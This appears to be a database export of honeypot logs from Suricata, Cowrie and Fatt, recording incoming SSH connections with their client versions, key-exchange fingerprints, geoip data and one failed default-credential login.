{"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42172, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:02:50.595954Z", "@timestamp": "2021-09-20T12:02:50.595Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..S...u.X:............ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............O...-"}}	1	\N	\N	alert	\N	US
34600	157.245.53.4	109.199.241.180	Fatt	2021-09-20 15:02:50.595954+03	2021-09-20 15:15:02.105665+03	{"_id": "3gYWA3wBvYTbRNuEYlYO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 42172, "dest_port": 22, "timestamp": "2021-09-20T12:02:50.595954", "@timestamp": "2021-09-20T12:02:50.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	US
34595	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:50.419315+03	2021-09-20 15:15:02.099664+03	{"_id": "3QYWA3wBvYTbRNuEYlYO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42172, "timestamp": "2021-09-20T12:02:50.419315", "@timestamp": "2021-09-20T12:02:50.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34596	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:02:50.596551+03	2021-09-20 15:15:02.100665+03	{"_id": "5QYWA3wBvYTbRNuEY1bO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "77957ea013f0", "@version": "1", "timestamp": "2021-09-20T12:02:50.596551Z", "@timestamp": "2021-09-20T12:02:50.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	US
34597	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:02:47.765246+03	2021-09-20 15:15:02.101665+03	{"_id": "2AYWA3wBvYTbRNuEWFYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [server/admin] failed", "session": "c466c37dc927", "@version": "1", "password": "admin", "username": "server", "timestamp": "2021-09-20T12:02:47.765246Z", "@timestamp": "2021-09-20T12:02:47.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34598	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:02:49.062516+03	2021-09-20 15:15:02.102665+03	{"_id": "2QYWA3wBvYTbRNuEW1b9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c466c37dc927", "@version": "1", "duration": 2.8983705043792725, "timestamp": "2021-09-20T12:02:49.062516Z", "@timestamp": "2021-09-20T12:02:49.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34599	157.245.53.4	109.199.241.180	Suricata	2021-09-20 15:02:50.59583+03	2021-09-20 15:15:02.104665+03	{"_id": "2gYWA3wBvYTbRNuEYVYD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 76662891518617, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42172, "dest_port": 22, "timestamp": "2021-09-20T12:02:50.595830Z", "@timestamp": "2021-09-20T12:02:50.595Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	US
45286	192.168.20.104	109.199.241.180	Suricata	2021-09-20 16:43:48.501407+03	2021-09-20 16:45:02.750591+03	{"_id": "ngZyA3wBvYTbRNuE0qx5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:43:48.501407Z", "@timestamp": "2021-09-20T13:43:48.501Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34601	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:02:50.418762+03	2021-09-20 15:15:02.106665+03	{"_id": "5AYWA3wBvYTbRNuEY1bO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "77957ea013f0", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T12:02:50.418762Z", "@timestamp": "2021-09-20T12:02:50.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	US
34602	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:02:46.161422+03	2021-09-20 15:15:02.107664+03	{"_id": "0AYWA3wBvYTbRNuEUFZC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:40870 (192.168.176.2:22) [session: c466c37dc927]", "session": "c466c37dc927", "@version": "1", "protocol": "ssh", "src_port": 40870, "dest_port": 22, "timestamp": "2021-09-20T12:02:46.161422Z", "@timestamp": "2021-09-20T12:02:46.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34603	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:02:46.164393+03	2021-09-20 15:15:02.109665+03	{"_id": "0QYWA3wBvYTbRNuEUFZD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c466c37dc927", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:02:46.164393Z", "@timestamp": "2021-09-20T12:02:46.164Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34604	36.27.214.211	109.199.241.180	Suricata	2021-09-20 15:02:46.459615+03	2021-09-20 15:15:02.111663+03	{"_id": "0gYWA3wBvYTbRNuEUVZh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 15386592753902, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40870, "dest_port": 22, "timestamp": "2021-09-20T12:02:46.459615Z", "@timestamp": "2021-09-20T12:02:46.459Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34605	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:46.165313+03	2021-09-20 15:15:02.112665+03	{"_id": "1AYWA3wBvYTbRNuEUlZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40870, "timestamp": "2021-09-20T12:02:46.165313", "@timestamp": "2021-09-20T12:02:46.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34634	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:02:58.123363+03	2021-09-20 15:15:02.153487+03	{"_id": "_wYWA3wBvYTbRNuEf1Yr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "20f653d5302b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:02:58.123363Z", "@timestamp": "2021-09-20T12:02:58.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	ID
34606	36.27.214.211	109.199.241.180	Fatt	2021-09-20 15:02:46.459896+03	2021-09-20 15:15:02.113665+03	{"_id": "0wYWA3wBvYTbRNuEUlZr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40870, "dest_port": 22, "timestamp": "2021-09-20T12:02:46.459896", "@timestamp": "2021-09-20T12:02:46.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34607	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:02:46.46056+03	2021-09-20 15:15:02.114664+03	{"_id": "1QYWA3wBvYTbRNuEVFYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c466c37dc927", "@version": "1", "timestamp": "2021-09-20T12:02:46.460560Z", "@timestamp": "2021-09-20T12:02:46.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34608	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:02:40.012543+03	2021-09-20 15:15:02.116664+03	{"_id": "wQYWA3wBvYTbRNuEOVbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 50730, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2514, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1433591236012813, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44441, "timestamp": "2021-09-20T12:02:40.012543Z", 